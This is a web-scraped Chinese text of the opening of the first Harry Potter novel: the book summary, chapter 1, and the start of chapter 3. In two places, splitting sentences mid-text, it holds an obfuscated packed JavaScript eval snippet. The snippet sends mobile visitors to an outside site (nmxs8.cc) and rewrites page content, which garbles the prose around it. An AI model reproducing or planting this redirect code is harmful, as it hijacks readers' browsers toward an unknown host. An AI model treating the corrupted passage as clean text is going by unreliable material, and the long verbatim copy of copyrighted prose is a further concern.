《哈利·波特全集》 1. 哈利·波特与魔法石 一岁的哈利·波特失去了父母后,便来到了姨妈家,过着极其痛苦的日子。 一直到十一岁生日那天,哈利一生的命运才发生了变化,他收到了一封神秘的信,被邀请去一个童话般的地方一一霍格沃茨魔法学校。哈利发现这里到处充满着魔力,他既找到了朋友,又学会了魔法和骑着飞天扫帚打魁地奇,还得到了一件隐形衣,他在这里生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338684|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很愉快。 但一块魔法石出现了,它将关系到世界的现在和未来。哈利在好朋友罗恩和赫敏的帮助下,突破了重重困难,保护了魔法石,终于拯救了世界。 2. 大难不死的男孩 家住女贞路4号的德思礼夫妇总是得意地说他们是非常规矩的人家。拜托,拜托了。他们从来跟神秘古怪的事不沾边,因为他们根本不相信那些邪门歪道。 弗农·德思礼先生在一家名叫格朗宁的公司做主管,这家公司生产钻机。他高大魁梧,胖得几乎连脖子都没有,却蓄着一脸大胡子。德思礼太太是一个瘦削的金发女人。她的脖子几乎比正常人长一倍。这样每当她花许多时间隔着篱墙引颈而望、窥探左邻右舍时,她的长脖子可就派上了大用场。德思礼夫妇有一个小儿子,名叫达力。在他们看来,人世间没有比达力更好的孩子了。 德思礼一家什么都不缺,但他们有一个秘密,他们最害怕的就是这秘密会被人发现。他们想,一旦有人发现波特一家的事,他们会承受不住的。波特太太是德思礼太太的妹妹,不过她们已经有好几年不见面了。实际上,德思礼太太佯装自己根本没有这么个妹妹,因为她妹妹和她那一无是处的妹夫与德思礼一家的为人处世完全不一样。一想到邻居们会说波特夫妇来到了,德思礼夫妇会吓得胆战心惊。他们知道波特也有个儿子,只是他们从来没有见过。这孩子也是他们不与波特夫妇来往的一个很好的借口,他们不愿让达力跟这种孩子厮混。 故事开始于一个晦暗、阴沉的星期二,德思礼夫妇一早醒来,窗外浓云低垂的天空并没有丝毫迹象,预示着这地方即将发生神秘古怪的事情。德思礼先生哼着小曲,挑出一条最不喜欢的领带戴着上班,德思礼太太高高兴兴,一直絮絮叨叨着,把唧哇乱叫的达力塞到了儿童椅里。 他们谁也没留意到,一只黄褐色的猫头鹰扑扇着翅膀从窗前飞过。 八点半,德思礼先生拿起公文包,在德思礼太太面颊上亲了一下,正要亲达力,跟这个小家伙道别,可是没有亲成,小家伙正在发脾气,把麦片往墙上摔。“臭小子。”德思礼先生嘟哝了一句,咯咯笑着走出家门,坐进汽车,倒出四号车道。 在街角上,他看到了第一个异常的信号——一只猫在看地图。一开始,德思礼先生还没弄明白他看到了什么,于是又回过头去。只见一只花斑猫站在女贞路路口,但是没有看见地图。他到底在想些什么?很可能是光线使他产生了错觉吧。德思礼先生眨了眨眼,盯着猫着,猫也瞪着他。当德思礼先生拐过街角继续上路的时候,他从后视镜里看看那只猫。猫这时正在读女贞路的标牌,不,是在看标牌;猫是不会读地图或是读标牌的。德思礼先生定了定神,把猫从脑海里赶走。他开车进城,一路上想的是希望今天他能得到一大批钻机的定单。 但快进城时,另一件事又把钻机的事从他脑海里赶走了。当他的车汇入清晨拥堵的车流时,他突然看见路边有一群穿着奇装异服的人:他们都披着斗篷。德思礼先生最看不惯别人穿得怪模怪样,瞧年轻人的那身打扮!他猜想这大概又是一种无聊的新时尚吧。他用手指敲击着方向盘,目光落到了离他最近的一大群怪物身上。他们正兴致勃勃,交头接耳。德思礼先生很生气,因为他发现他们中间有一些根本不年轻了,那个男的显得比他年龄还大,竟然还披着一件翡翠绿的斗篷!真不知羞耻!接着,德思礼先生突然想到这些人大概是为什么事募捐吧,不错,就是这么回事。车流移动了,几分钟后德思礼先生来到格朗宁公司的停车场,他的思绪又回到了钻机上。 德思礼先生在他九楼的办公室里,总是习惯背窗而坐。如果不是这样,他可能会发现这一天早上他更难把思想集中到钻机的事情上了。他没有看见成群的猫头鹰在光天化日之下从天上飞过,可街上的人群都看到了;他们目瞪口呆,指指点点,盯着猫头鹰一只接一只从头顶上掠过。他们大多甚至夜里都从未见过猫头鹰。德思礼先生这天早上很正常,没有受到猫头鹰的干扰。他先后对五个人大喊大叫了一遍,又打了几个重要的电话,喊的声音更响。他的情绪很好,到吃午饭的时候,他想舒展一下筋骨,到马路对角的面包房去买一只小甜圆面包。 若不是他在面包房附近又碰到那群批斗篷的入,他早就把他们忘了。他经过他们身边时,狠狠地瞪了他们一眼。他说不清这是为什么,只是觉得这些人让他心里别扭。这些人正嘁嘁喳喳,讲得起劲,但他连一只募捐箱也没有看见。当他拎着装在袋里的一只大油饼往回走,经过他们身边时,他们的话断断续续飘入他的耳鼓:“波特夫妇,不错,我正是听说——” “——没错,他们的儿子,哈利——” 他突然停下脚步,恐惧万分。他回头朝窃窃私语的人群看了一眼,似乎想听他们说点什么,后来又改变了主意。 他冲到马路对面,回到办公室,厉声吩咐秘书不要打扰他,然后抓起话筒,刚要拨通家里的电话,临时又变了卦。他放下话筒,摸着胡须,琢磨起来..不,他太愚蠢了。波特并不是一个稀有的姓,肯定有许多人姓波特,而且有儿子叫哈利。想到这里,他甚至连自己的外甥是不是叫哈利都拿不定了。他甚至没见过这孩子。说不定叫哈维,或者叫哈罗德。没有必要让太太烦心,只要一提起她妹妹,她总是心烦意乱。他并不责怪她—— 要是他自己有一个那样的妹妹呢...可不管怎么说,这群披斗篷的人...那天下午,他发现自己很难专心考虑钻机的事。五点钟他走出办公室大楼,依旧心事重重,与站在门口的一个人撞了个满怀。 这个小老头打了个趔趄,差点儿摔倒。“对不起。”德思礼先生嘟哝说。过了几秒钟,他才发现这人披了一件紫罗兰色斗篷。他几乎被撞倒在地,可他似乎一点儿不生气,脸上反而绽出灿烂的笑容。“您不用道歉,尊贵的先生,因为今天没有事会惹我生气!太高兴了,因为‘神秘人’总算走了!就连像你这种麻瓜,也应该好好庆贺这大喜大庆的日子!”他说话的声音尖细刺耳,令过往的人侧目。 老头说完,搂了搂德思礼先生的腰,就走开了。 德思礼先生站在原地一动不动,仿佛生了根。他刚刚被一个完全陌生的人搂过。他还想到自己被称做“麻瓜”,不知这是什么意思。他心乱如麻,连忙朝自己的汽车跑过去,开车回家。他希望这一切只是幻象,他从来没有幻想过什么,因为他根本不赞同幻想。当他驶入四号车道时,第一个映入眼帘的,就是早上他见过的那只花斑猫,这并没有使他的心情好转。这时猫正坐在他家花园的院墙上。他肯定这只猫和早上的是同一只:眼睛周围的纹路一模一样。 “去...去!”德思礼先生大喝道。 猫纹丝不动,只是狠狠地瞪了他一眼。这难道是一只正常的猫的行为吗?德思礼先生感到怀疑。他先让自己镇定下来,随后就进屋去了。他仍决定对太太只字不提。 德思礼太太这一天过得很好,一切正常。晚饭桌上,德思礼太太向他讲述了邻居家的母女矛盾,还说达力又学会一个新词(“绝不”),德思礼先生也尽量表现得正常。安顿达力睡下之后,他来到起居室,听到晚间新闻的最后一段报道:“最后,据各地鸟类观察者反映,今天全国猫头鹰表现反常。通常情况下,它们都是在夜间捕食,白天很少露面,可是今天,日出时猫头鹰就四处纷飞。专家们也无法解释猫头鹰为什么改变了它们的睡眠习惯。”新闻播音员说到这里,咧嘴一笑。“真是太奇妙了。现在我把话筒交给吉姆·麦古,问问他天气情况如何。吉姆,今天夜里还会下猫头鹰雨吗?” “噢,泰德,”气象播音员说,“这我可不知道,今天不仅猫头鹰表现反常。全国各地远至肯特郡、约克郡、丹地等地的目击者都纷纷打来电话说,我们原来预报昨天有雨,结果下的不是雨而是流星!也许人们把本该一星期后举行的庆祝篝火之夜晚会提前举行了,朋友们!不过我向你们保证,今晚一定有雨。” 德思礼先生坐在扶手椅里惊呆了。英国普遍下流星雨?猫头鹰光天化日之下四处纷飞?到处都是披着斗篷的怪人?还有一些传闻,关于波特一家的传闻..德思礼太太端着两杯茶来到起居室。情况不妙。他应该向她透露一些。他心神不定,清了清嗓子。“唔—— 佩妮,亲爱的——最近有你妹妹的消息吗?” 不出所料,德思礼太太大为吃惊,也很生气。不管怎么说,他们通常都说自己没有这么个妹妹。 “没有,”她厉声说,“怎么了?” “今天的新闻有点奇怪,”德思礼先生咕哝说,“成群的猫头鹰...流星雨...今天城里又有那么多怪模怪样的人...” “那又怎么样?''’德思礼太太急赤白脸地说。 “哦,我是想...说不定...这跟...你知道..她那一群人有关系..” 德思礼太太嘬起嘴唇呷了一口茶。德思礼先生不知道自己是不是该大胆地把听到“哈利”名字的事告诉她。他决定还是不要太冒失。于是他尽量漫不经心地改口说:“他们的儿子——他现在该有达力这么大了吧?” “我想是吧。”德思礼太太干巴巴地说,“他叫什么来着?是叫霍华德吧?”“叫哈利,要我说,这是一个不讨人喜欢的普通名字。”“哦,是的。”德思礼先生说着,感到心里突然往下一沉。“不错,我也这么想。”他们上楼睡觉时,他就再也没有提到这个话题了。德思礼太太进浴室以后。德思礼先生就轻手轻脚来到卧室窗前,看看前面的花园。那只猫还在原地,正目不转睛地盯着女贞路路口,好像在等待什么。 他是在想入非非吗?这一切会与波特一家有关吗?如果真有关系——如果最后真跟他们夫妇有关——那么,他认为他是承受不住的。 德思礼夫妇睡下了。德思礼太太很快就睡着了,德思礼先生却思绪万千,怎么也睡不着觉。不过在他入睡前,最后一个想法使他感到安慰:即使波特一家真的被卷了进去,也没有理由牵连他和他太太。波特夫妇很清楚德思札夫妇对他们和他们那群人的看法。他打了个哈欠,翻过身去。不会影响他们的...他可是大错特错了。 德思礼先生迷迷糊糊,本来可能胡乱睡上一觉,可花园墙头上那只猫却没有丝毫睡意。它卧在墙头上,宛如一座雕像,纹丝不动,目不转睛地盯着女贞路远处的街角。邻街的一辆汽车砰的一声关上车门,两只猫头鹰扑扇着从头顶上飞过,它也一动不动。实际上,快到午夜时,它才开始动了动。 猫一直眺望着的那个街角出现了一个男人,他来得那样突然,悄无声息,简直像是从地里冒出来的。猫尾巴抖动了一下,眼睛眯成了一条缝。 女贞路上从来没有见过这个男人。他个子瘦高,银发和银须长到都能够塞到腰带里,凭这一点就可以断定他年纪已经很大了。他穿一件长袍,披一件掩到地的紫色斗篷,登一双带搭扣的高跟靴子。半月形的眼镜后边二对湛蓝湛蓝的明亮眼睛闪闪放光。他的鼻子很长,但是扭歪了,看来至少断过两次。他的名字叫阿不思·邓布利多。 阿不思·邓布利多似乎并没有意识到从他的名字到他的靴子,在他来到的这条街上都不受欢迎。他忙着在斗篷口袋里翻寻,好像在找什么东西。他也没有发现有人监视他,因为他突然抬头,看见一直在街那头注视着他的那只猫,出于某种原因,他觉得这只猫的样子很好笑。他咯咯笑着,嘟哝说:“我早就该想到了。” 他在里边衣袋里找出了他要找的东西,看起来像一只银制打火机。他把它轻轻弹开,高举起来,咔哒一声,离得最近的一盏路灯噗的一声熄灭了。他又打了一下——第二盏灯也熄灭了。他用熄灯器打了十二次,整条街上只剩下远处两个小小的光点,那就是监视他的那只猫的两只眼睛。如果这时有人向窗外看,即使是眼尖的德思礼太太,也不会看到马路上发生的一切。邓布利多把熄灯器放回斗篷里边的口袋里,之后就顺着街道向四号走去。他在墙头猫的身边坐下来。他没有看它,但过了一会儿便跟它说起话来。 “真没想到会在这里见到您,麦格教授。” 他回头朝花斑猫微微一笑。花斑猫不见了,换成一个神情严肃的女人,戴一副方形眼镜,看起来跟猫眼睛周围的纹路一模一样。她也披了一件翠绿色斗篷,乌黑的头发挽成一个很紧的发髻。她显得非常激动。 “您怎么认出那是我?”她问。 “我亲爱的教授,我从来没有见过一只猫像这样僵硬地待着。” “您要是在砖墙上坐一整天,您也会变僵的。”麦格教授说。 “一整天?您本来应当参加庆祝会的呀?我一路来到这里,至少遇上了十二场欢快的聚会和庆祝活动。” 麦格教授气呼呼地哼了一声。 “哦,不错,人人都在庆贺,很好!”她恼火地说。“您以为他们会更小心谨慎,其实不然,连麻瓜们都注意到有什么事情发生了,都上了他们的电视新闻。”她勐地把头转向德思礼家漆黑的起居室窗口。“我都听见了。成群的猫头鹰...流星雨...好了,他们也不是十足的傻瓜。有些事也会引起他们的注意。肯特郡下的那场流星雨——我敢说准是迪戈干的。他本来就没多少头脑。” “您不能责怪他们,”邓布利多心平气和地说,“十一年来值得我们庆贺的事太少了。” “这我知道,”麦格教授气呼呼地说,“但这些不是冒险胡来的理由。他们也太不小心了,大白天跑到街上,也不穿上麻瓜们的衣服,还在那里传递消息。” 说到这里,她机敏地朝邓布利多斜瞟了一眼,似乎希望他能告诉她些什么,但邓布利多没有吱声,于是她接着说:“神秘人终于不见了,如果正好在他失踪的那一天,麻瓜们发现了我们的一切,那可真太奇妙了。我想他真的走了吧,邓布利多?” “好像是这样,”邓布利多说,“我们应该感到欣慰。您来一块柠檬雪糕好吗?” “一块什么?”“一块柠檬雪糕。这是麻瓜们的一种甜点。我很喜欢。”“不了,谢谢。”麦格教授冷冷地说,看来她认为现在不是吃柠檬雪糕的时候。“像我说的,即使‘神秘人’真的走了——” “我亲爱的教授,像您这样的明白人,总该可以直呼他的大名吧?什么神秘人不神秘人的,全都是瞎扯淡——十一年了,我一直想方设法说服大家,直呼他本人的名字:伏地魔,”麦格教授打了个寒噤,但是邓布利多在掰两块粘在一起的雪糕,似乎没有留意到。“要是我们还继续神秘人神秘人的,一切就都乱套了。我看直呼伏地魔的大名也没有任何理由害怕。” “我知道您不害怕,”麦格教授半是恼怒,半是夸赞地说。“尽人皆知,您与众不同。神秘人——哦,好吧,伏地魔——惟一害怕的就是您。”“您太抬举我了。”邓布利多平静地说,“伏地魔拥有我永远也不会有的功力。”“那是因为您太——哦——太高尚了,不愿意运用它。”“幸亏这里很黑,庞弗雷夫人说她喜欢我的新耳套以后,我还没有像现在这样脸红过呢。” 麦格教授狠狠地瞪了邓布利多一眼,说:“猫头鹰和沸沸扬扬的谣言毫不相干。您知道大伙都在说什么吗?说他为什么失踪?说最终是什么制止了他?” 这一来,麦格教授似乎点到了她急于想讨论的问题核心,这也正是她在冰冷的砖墙上守候了一整天的原因。不管她是一只猫,或是一个女人,她从来都不曾用现在这样锐利的眼光看邓布利多。显然,不管大家怎么说,只有从邓布利多口中得到证实,她才会相信。邓布利多却挑了另一块柠檬雪糕,没有答话。 “他们说,”她不依不饶地说,“昨天夜里伏地魔绕到高锥克山谷。他们是去找波特夫妇的,谣传莉莉和詹姆·波特都——都——他们都已经——死了。” 邓布利多低下头。麦格教授倒抽了一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338685|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这——这是真的吗?莉莉和詹姆...我不相信...我也不愿相信...哦,阿不思...” 邓布利多伸手拍了拍她的肩膀。“我知道...我知道...”他心情沉重地说。 麦格教授接着往下说,她的声音颤抖了。“还不止这些。他们说,他还想杀波特夫妇的儿子哈利,可是没有成功。他杀不死那个孩子。没有人知道为什么,也没有人知道怎么会杀不死。不过他们说,当伏地魔杀不死哈利的时候,他的魔法就不知怎的失灵了——所以他才走掉了。” 邓布利多愁眉不展地点了点头。 “这——这是真的吗?”麦格教授用颤巍巍的声音说。“他做了这么多坏事...杀了这么多人...可竟然杀不了一个孩子?这简直令人震惊...我们想了那么多办法去阻止他...可苍天在上,哈利究竟是怎么幸免于难的呢?” “我们只能猜测,”邓布利多说,“我们可能永远也不会知道。” 麦格教授掏出一块花边手帕,轻轻拭了拭镜片后边的眼睛。邓布利多深深吸了一口气,从衣袋里掏出一块金表,认真看起来。那只表样子很奇怪,有十二根指针,却没有数字,还有一些小星沿着表盘边缘转动。邓布利多显然看明白了,他把表放回衣袋,说:“海格肯定迟到了。顺便问一句,我想,大概是他告诉您我要到这里来的吧?” “是的,”麦格教授说,“可去的地方多了,您为什么偏偏要到这里来呢?我想,您大概不会告诉我吧?’”“我是来接哈利,把他送到他姨妈姨父家的。现在他们是他唯一的亲人了。” “您不会是指——您不可能是指住在这里的那家人吧?”她噌地跳起来,指着四号那一家。 “邓布利多——您可不能这么做。我观察他们一整天了。您找不到比他们更不像你我这样的人了。他们还有一个儿子——我看见他在大街上一路用脚踢他母亲,吵着要糖吃。要哈利·波特住在这里?!” “这对他是最合适的地方了。”邓布利多坚定地说,“等他长大一些,他的姨妈姨父会向他说明一切。我给他们写了一封信。” “一封信?”麦格教授有气无力地重复了一遍,又坐回到墙头上“邓布利多,您当真认为用一封信就能把一切都解释清楚吗?这些人永远也不会理解他的!他会成名的——一个传奇人物——如果将来有一天把今天定为哈利·波特日,我一点儿也不会觉得奇怪——会有许多写哈利的书——我们世界里的每一个孩子都会知道他的名字!” “说得对极了,”邓布利多说,他那半月形眼镜上方的目光显得非常严肃,“这足以使任何一个孩子冲昏头脑。不会走路、不会说话的时候就一举成名!甚至为他根本不记得的事情而成名!让他在远离过去的地方成长,直到他能接受这一切,再让他知道,不是更好吗?” 麦格教授张开嘴,改变了看法。她咽了口唾沫,接着说:“是啊——是啊,当然您是对的。可怎么把孩子弄到这里来呢,邓布利多?”她突然朝他的斗篷看了一眼,好像他会把哈利藏在斗篷里。 “海格会把他带到这里来。”“把这么重要的事情托付给海格去办——您觉得——明智吗?”“我可以把我的身家性命托付给他。”邓布利多说。 “我不是说他心术不正,”麦格教授不以为然地说,“可是您不能不看到他很粗心。他总是——那是什么声音?” 一阵低沉的隆隆声划破了周围的寂静。当他们来回搜索街道上是否有汽车前灯的灯光时,响声越来越大,最后变成一阵吼叫。他们抬眼望着天空,只见一辆巨型摩托自天丽降,停在他们面前的街道上。 如果说摩托是一辆巨型摩托,那么骑车人就更不在话下了。那人比普通人高一倍,宽度至少有五倍,似乎显得出奇的高大,而且粗野——纠结在一起的乱蓬蓬的黑色长发和胡须几乎遮住了大部分脸庞,那双手有垃圾桶盖那么大,一双穿着皮靴的脚像两只小海豚。他那肌肉发达的粗壮双臂抱着一卷毛毯。 “海格,”邓布利多说,听起来像松了一口气,“你总算来了。这辆摩托车你是从哪里弄来的?” “借来的,邓布利多教授,”巨人一边小心翼翼地跨下摩托车,一边说,“是小天狼星布莱克借给我的。我把他带来了,先生。” “没有遇到麻烦吧?” “没有,先生——房子几乎全毁了。我们赶在麻瓜们从四面八方汇拢来之前把他抱了出来。当我们飞越布里斯托尔上空的时候,他睡着了...” 邓布利多和麦格教授朝那卷毛毯俯下身去。他们看见毛毯里裹着一个男婴,睡得正香。孩子前额上一绺乌黑的头发下边有一处刀伤,伤口形状很奇怪,像一道闪电。 “这地方就是——”麦格教授低声说。 “是的,”邓布利多说,“他一辈子都要带着这道伤疤了。” “你不能想想办法吗?邓布利多?” “即使有办法,我也不会去做。伤疤今后可能会有用处。我左边膝盖上就有一个疤,是一幅完整的伦敦地铁图。好了——把他给我吧,海格——咱们最好还是把事情办妥。” 邓布利多把哈利拖在怀里,朝德思礼家走去。 “我能——我能跟他告别一下吗?先生?”海格问。 他把毛发蓬乱的大头凑到哈利脸上,给了他一个胡子拉碴、痒乎乎的吻。接着海格突然像一只受伤的狗号叫了一声。 “嘘!”麦格教授嘘了他一声,“你会把麻瓜们吵醒的!” “对——对——对不起,”海格抽抽搭搭地说,掏出一块污渍斑斑的大手帕,把脸埋在手帕里,“我、我实在受、受不了——莉莉和詹姆死了——可怜的小哈利又要住在麻瓜们的家里——” “是啊,是啊,是令人难过,可你得把握住自己,不然我们会被发现的。”麦格教授小声说,轻轻拍了一下海格的臂膀。这时邓布利多正跨过花园低矮的院墙,朝大门走去。他轻轻把哈利放到大门口的台阶上,从斗篷里掏出一封信,塞到哈利的毛毯里,然后回到另外两个人身边。他们三人站在那里对小小的毯子注视了足有一分钟。海格的肩膀在抖动,麦格教授拼命眨眼,邓布利多一向闪光的眼睛也暗淡无光了。 “好了,”邓布利多终于说,“到此结束了。我们没有必要继续待在这里。咱们还是去参加庆祝会吧。” “是啊,”海格咕哝道,“我得去把车还给小天狼星。晚安,麦格教授——晚安,邓布利多教授。” 海格用外衣衣袖揩了揩流泪的眼睛,跨上摩托,踩着了发动机,随着一声吼叫,摩托车腾空而起,消失在夜色里。 “希望很快和您见面,麦格教授。”邓布利多朝麦格教授点头说。她擤了擤鼻子作为回答。 邓布利多转身来到街上。他在街角上掏出银制熄灯器,咔哒弹了一下,只见十二个火球又回到各自的路灯上,女贞路顿时映照出一片橙黄,他看见一只花斑猫正悄悄从街那头的拐角熘掉了。他恰好可以看见4号台阶上放着的那个用毯子裹着的小包。 “祝你好运,哈利。”他喃喃地说,一转身,只听斗篷飕的一声,他已经消失得无影无踪了。 微风拂动着女贞路两旁整洁的树篱,街道在漆黑的天空下寂静无声,一尘不染,谁也不会想到这里会发生骇人听闻的事情。哈利·波特在毯子包里翻了个身,但他并没有醒。他的一只小手正好放在那封信旁边。他还继续沉睡,一点不知道他很特殊,不知道他名气很大,不知道再过几小时,等德思礼太太开大门放奶瓶时,他会被她的尖叫声吵醒;更不会知道,在未来的几个星期,他表哥达力会对他连捅带戳,连掐带拧...他也不可能知道,就在此刻,全国人都在秘密聚会。人们高举酒杯悄声说:“祝福大难不死的孩子—— 哈利·波特!” 3. 消失的玻璃 自从德思礼夫妇一觉醒来后,在大门口的台阶上发现他们的外甥以来,快十年过去了,女贞路却几乎没有变化。太阳依旧升到屋前整洁的花园上空,照亮德思礼家大门上的四号铜牌;阳光悄悄爬进他们的起居室,这里和德思礼先生当年收看关于猫头鹰的重大新闻的那个晚上一模一样。只有壁炉台上的照片显示出流逝了多少时光。十年前,这里摆放着许多照片,看上去像戴着五颜六色婴儿帽的一只粉红色的大海滩气球——只是达力已不再是婴儿了,照片上是一个大头男孩骑着他的第一辆自行车,在博览会上乘坐旋转木马,跟父亲玩电脑游戏,被母亲拥着亲吻。这个房间里没有任何迹象表明,这栋房子里还住着另一个男孩。 哈利·波特还住在这里,此刻他正在睡觉,但不会太久。他的佩妮姨妈已经醒了,每天这里发出的第一声噪音就是她的尖叫声。 “起来!起床了!赶快!” 哈利被惊醒了。他的姨妈又在拍打他的房门。 “起来!”她尖叫道。哈利听见她朝厨房走去,接着就是煎锅放到炉子上的声音。他翻身背对着门,尽力回忆刚才做过的梦。那是一个好梦,梦里有一辆会飞的摩托车。他感到很有趣,似乎以前也做过同样的梦。 姨妈又来到门外。 “你起来了吗?”她追问。 “快了。”哈利说。 “快了,那就赶紧,我要看着你煎熏肉,你敢把它煎糊了试试。我要达力生日这一天一切都顺顺当当。” 哈利咕哝了一声。 “你说什么?”姨妈又在厉声问。 “没什么,没什么...”达力的生日——他怎么会忘记呢?哈利慢慢吞吞地从床上爬起来,开始找袜子。他从床底下找到一双袜子,从其中一只袜子上抓下一只蜘蛛,然后把袜子穿上。哈利对蜘蛛早就习惯了,因为楼梯下边的碗柜里到处都是蜘蛛,而他就睡在那里。 他穿好衣服,顺着走廊来到厨房。餐桌几乎被达力的生日礼物堆得满满的。看来达力收到了他想要的新电脑,至于第二台电视机,还有跑车就更不在话下了。达力为什么想要一辆赛车,这对哈利来说,是一个谜,因为达力胖乎乎的,而且讨厌锻炼——当然,除非这种锻炼不包括拳脚相加。他最喜欢的拳击沙袋就是哈利,可他并不是经常能抓住他。哈利看起来很单薄,但他动作机敏。 也许和哈利长年住在黑洞洞的碗柜里有些关系,他显得比他的同龄人瘦小。他看上去甚至比他实际的身材还要瘦小,因为他只能穿达力的旧衣服,而达力要比他高大三四倍。哈利有一张消瘦的面孔、膝盖骨突出的膝盖、乌黑的头发和一对碧绿的眼睛。他戴着一副用许多透明胶带粘在一起的圆框眼镜,因为达力总用拳头揍他的鼻子。哈利对自己的外表最喜欢的就是额头上那道像闪电似的淡淡的疤痕。这道疤痕从他记事起就有了,他记得他问佩妮姨妈的第一个问题就是这道伤疤是怎么落下的。 “是在你父母被撞死的那场车祸中落下的。”她这么说,“不许问问题。”不许问问题——要与德思礼一家相安无事,这是规章的第一条。 弗农姨父来到厨房时,哈利正在翻煎熏肉。 “把你的头发梳一梳!”他咆哮着,这是他早晨见面打招呼的方式。 几乎每周一次,弗农姨父从他的报纸上方看看哈利,对哈利大喊大叫说他该去理发了。哈利理发的次数要比他班上所有的同学理发次数加起来还要多,可一点也不起作用,他的头发照旧疯长。 哈利正在煎蛋的时候,达力和他母亲一起来到厨房。达力更像弗农姨父:一张粉红色的银盆大脸,脖子很短,一双水汪汪的蓝眼睛,浓密的金发平整地贴在他那厚实的胖乎乎的脑袋上。佩妮姨妈常说达力长得像小天使——可哈利却说他像一头戴假发的猪。 哈利把一盘盘煎蛋和煎熏肉放到餐桌上,这可不容易,因为桌上已经没有多余的地方了。这时达力正在清点他的礼品。他的脸沉了下来。“三十六,”他抬头看着父母亲说,“比去年少两件。” “亲爱的,你还没算上玛姬姑妈送给你的礼物呢。你看,在你妈妈爸爸送给你的大包裹下边呢。” “好吧,那就三十七件。”达力说,他的脸涨得通红。哈利看得出达力就要大发雷霆了,于是趁达力还没有把餐桌掀翻,连忙狼吞虎咽,把他的一份煎熏肉一扫而光。 佩妮姨妈显然也嗅出了危险的信号,连忙说:“今天我们上街的时候,再给你买两件礼物。怎么样,宝贝?再买两件礼物,这样好了吧?” 达力想了一会儿,这似乎是一件很难的工作。最后他总算慢慢吞吞地说:“那我就有三十...三十...” “三十九件,我的心肝宝贝。”佩妮姨妈说。 “哦,”达力重重地坐下来,抓起离他最近的一只礼包,“那好吧。” 弗农姨父咯咯地笑了。“这个小机灵鬼是在算他的进账呢,这一点跟他老爸一模一样。有你的,好小子,达力!”他揉了揉达力的头发。 这时电话铃响了,佩妮姨妈跑去接电话。哈利和弗农姨父看着达力拆包,一辆赛车、一台摄像机、一架遥控飞机、十六盘新出的电脑游戏光盘和一台磁带录像机。他正在撕开一块金表的包装纸时,佩妮姨妈接完电话回来了,显得又生气,又着急。 “坏消息,弗农,”她说,“费格太太把腿摔断了,不能来接他了。”她朝哈利那边点了一下头。 达力吓得张口结舌,哈利却高兴得心里怦怦直跳。每年达力生日那一天,他的父母总带着他和另一位朋友出去玩一天,上游乐园,吃汉堡包或是看电影。把哈利留给费格太太,一个住在离这里有两条街的疯老婆子。哈利讨厌费格太太住的地方,满屋子都是卷心菜味;费格太太还非要他看她过去养过的几只猫咪的照片。 “现在怎么办?”佩妮姨妈气急败坏地看着哈利,仿佛这一切都是哈利一手策划的。哈利知道他应当为费格太太摔断腿感到难过,但是当他想到要整整一年之后他才会再见到踢踢、雪儿、爪子先生和毛毛(都是猫的名字),他又觉得难过不起来了。 “咱们给玛姬挂个电话吧。”弗农姨父建议说。 “别犯傻了,弗农,她讨厌这孩子。” 德思礼夫妇经常这样当面谈论哈利,仿佛哈利根本不在场,甚至认为他是一个非常讨厌的听不懂他们讲话的东西,比如像一条鼻涕虫。 “她叫什么来着,你的那位朋友——伊芬,怎么样?” “上马约卡岛度假去了。”她厉声说。 “你们可以把我留在家里。”哈利满怀希望地插嘴说。(这样他就可以看他想看的电视节目,改变一下口味,说不定还能试着玩一把达力的电脑)但是佩妮姨妈看起来像刚刚吞下了一只柠檬。 “好让我们回来看到整个房子都给毁了?”她大吼道。 “我不会把房子炸掉的。”哈利说。可他们根本不昕。 “我想我们可以带他到动物园去,”佩妮姨妈慢吞吞地说,“...然后把他留在车上...” “那是辆新车,不能让他一个人待在车上...” 达力大哭起来。其实,他并没有真哭,他已经有好多年没有真的哭过了。他知道,只要他一哭丧着脸,嗷嗷地号叫起来,母亲就会满足他的任何要求。 “我的好心肝宝贝,别哭,妈妈不会让他搅乱你的好日子的!”她喊着,一下子把他搂到怀里。 “我...不...想让...他...去...去!”达力一边抽抽搭搭地假哭.一边断断续续地大喊大叫。“他总是把什么都弄坏了!”他躲在母亲臂弯里不怀好意地朝哈利撇嘴一笑。 正在这时,门铃响了——“哎呀,天哪,他们来了!”佩妮姨妈慌慌张张地说。过了一会儿,达力最要好的朋友皮尔·波奇斯和他的母亲一起进来了。皮尔瘦骨嶙峋,脸像老鼠脸。像他这种人总是在达力打人的时候,把挨打人的双手反剪在背后,牢牢抓住。达力立刻不装哭了。 哈利简直不敢相信自己这么走运。半小时后,他和皮尔、达力坐在德思礼的私家车后座,生平第一次向通往动物园的路上驶去了。他姨父姨妈想不出任何别的办法安置他,不过在动身前,弗农姨父把哈利叫到一旁。 “我警告你,”他把红得发紫的大脸凑到哈利跟前说,“我现在警告你,小子,只要你干出一点点蠢事——干出任何事——那你就在你的碗柜里待着,等圣诞节再出来吧。”“我什么事也不会做的,”哈利说,“真的...”但弗农姨父不相信他。从来没有人相信他的话。问题是哈利周围常常会发生一些怪事,即使你磨破嘴皮对德思礼夫妇说那些事与哈利无关,也是白费唇舌。 